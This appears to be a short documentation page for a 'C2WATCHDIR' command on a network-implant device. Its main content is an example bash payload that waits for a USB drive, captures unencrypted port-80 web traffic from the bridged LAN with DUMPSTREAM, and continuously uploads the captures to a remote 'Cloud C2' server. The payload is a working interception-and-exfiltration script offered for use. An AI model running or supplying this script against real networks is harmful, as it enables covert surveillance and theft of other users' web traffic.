C2WATCHDIR
Options
C2WATCHDIR /path/to/directoryC2_KEEP_FILES=1 C2WATCHDIR /usb/foo/Experimenting

Examples
Last updated
#!/bin/bash
# Title: Cloud C2 auto-send
#
# Description: Automatically send streams captured by DUMPSTREAM to Cloud C2
LED B SOLID
# Set the netmode to NAT, otherwise there is no connectivity at all
NETMODE NAT
# Wait for a USB drive
USBWAIT
# Make the directory for streams
mkdir /usb/web_streams
# Watch and upload streams to C2. Remember to background it!
C2WATCHDIR /usb/web_streams &
# Collect unencrypted web pages on port 80
DUMPSTREAM br-lan SERVER /usb/web_streams/web_ 80